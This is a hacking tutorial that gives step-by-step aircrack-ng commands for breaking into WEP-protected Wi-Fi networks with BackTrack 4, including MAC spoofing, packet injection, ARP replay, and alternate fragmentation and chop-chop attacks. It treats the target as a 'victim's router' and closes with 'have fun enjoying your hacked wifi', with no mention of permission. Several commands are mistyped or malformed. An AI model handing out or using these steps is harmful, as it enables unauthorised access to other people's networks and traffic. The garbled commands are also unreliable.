WEP Cracking with Backtrack – How to crack Wifi Password

In this guide, you will learn WEP Cracking with Backtrack. We covered cracking WEP before, but using BackTrack should smooth out compatibility issues.

When Wi-Fi was first developed and popularized in the late ’90s, security was not a major concern. Unlike wired connections, anyone could simply connect to a Wi-Fi access point (AP) and steal bandwidth, or worse—sniff the traffic.
Wired Equivalent Privacy, or simply WEP, was the first attempt to secure these access points. This encryption method has been around for a while, and several flaws have been discovered. WPA and WPA2 have largely replaced it.

First, you will need to have Backtrack 4 (LINK)

*** I find it that if you are smart enough to be into hacking you will at least know how to burn an image file to a DVD, so after you do that, boot up the DVD and run BT4.

Login: root
Password: toor

Once logged in, type in: startx
BT4 is now set up, here’s the following.
==

WEP CRACK GUIDE

Open konsole and type the following to start up network connections./etc/init.d/networking start
Now we are going to put the network card into monter mode by typing the following.
- airmon-ng
  (You will find your Interface here)
So first start up the scan
- airmon-ng start wlan0 or 1
  (depends on what it reads your card as, replace as needed)
Lets spoof your MAC address first by typing this next command.
- ifconfig wlan1 down
  macchanger -r wlan1
  ifconfig wlan1 up
- This will make it so we change our MAC address to the computer we are connecting to
Time to start finding our victims router, type in konsole.
- airodump-ng mon0
- This will show the list and once you find one that suits your interest, Continue.
Once found press CTRL + C to copy the BSSID and then get out of airodump and then type into a new konsole
- airodump-ng -c channel number, –bssid the BSSID of the router, -w what you want to save the cap file as, then mon0 (the interface we are using)
- example: airodump-ng -c 1 – – bssid 11:22:33:44:55:66 -w wepcap mon0
Lets start the passkey cracking. We need to get around 20,000-50,000 IVs. We start by sending fake authentication requests. To do this open a new konsole and type:
- aireplay-ng -1 1 -a The BSSID of the router, then the interface.
  example: aireplay-ng -1 1 a 11:22:33:44:55:66 mon0
Almost done, we just need to continue the ARP cycle, open another konsole and type:
- aireplay-ng -3 -b The BSSID of the router, then the interface, and it will start replaying ARPs.
- Collect a good amount of IVs around 20k to 50k. Once its their, type CTRL – C to stop the process and continue to 9.
Time to start cracking that cap file Open a new konsole and type.
- aircrack-ng -b (bssid) (file name)-01.cap
  example: aircrack-ng 11:22:33:44:55:66 wepcap-01.cap
Now we should have the key to log in to the router, have fun enjoying your hacked wifi
Here is some alternate methods of using backtrack to get from the Hakunamatata69 Tutorial that are interesting and work too.

==
—ALTERNATE ATTACKS—
FRAGMENTATION

1. Konsole.
2. aireplay-ng -1 6000 -o 1 -q 10 -e (ssid) -a (bssid) -h 00:11:22:33:44:55 wlan0
3. aireplay-ng -5 -b (bssid) -h 00:11:22:33:44:55 wlan0
4. packetforge-ng -0 -a (bssid) -h 00:11:22:33:44:55 -k 255.255.255.255 -l 255.255.255.255 -y fragment-*.xor -w arp-packet
5. airodump-ng -c (ch) –bssid (bssid) -w (file name) wlan0
6. aireplay-ng -2 -r arp-packet wlan0
7. aircrack-ng -b (bssid) (file name)-01.cap
==

CHOP-CHOP

1. After step 11 in the WEP CRACK GUIDE, type the following:
2. aireplay-ng -1 6000 -o 1 -q 10 -e (ssid) -a (bssid) -h 00:11:22:33:44:55 wlan0
3. aireplay-ng -4 -h 00:11:22:33:44:55 -b (bssid) wlan0
4. Repeat steps 4-7 in the FRAGMENTATION ATTACK
***Be sure to open new Konsoles when necessary***
—

NOTES

Key Commands.
wlan0 = Interface (Examples: wlan0, ath0, eth0)
ch = The channel the target is on (Examples: 6, 11)
bssid = MAC Address of target (Examples: 11:22:33:B1:44:C2)
ssid = Name of target (Examples: linksys, default)
filename = Name of .cap file (Examples: wep123, target, anythingyoutwant)
fragment-*.xor= The * being replaced by a number
(Examples: fragment-25313-0123.xor)
PASSWORD DECRYPTED (Examples: PA:SS:WO:RD or 09:87:65:43:21)

45 minutes to write
10 minutes to edit
5 minutes to read
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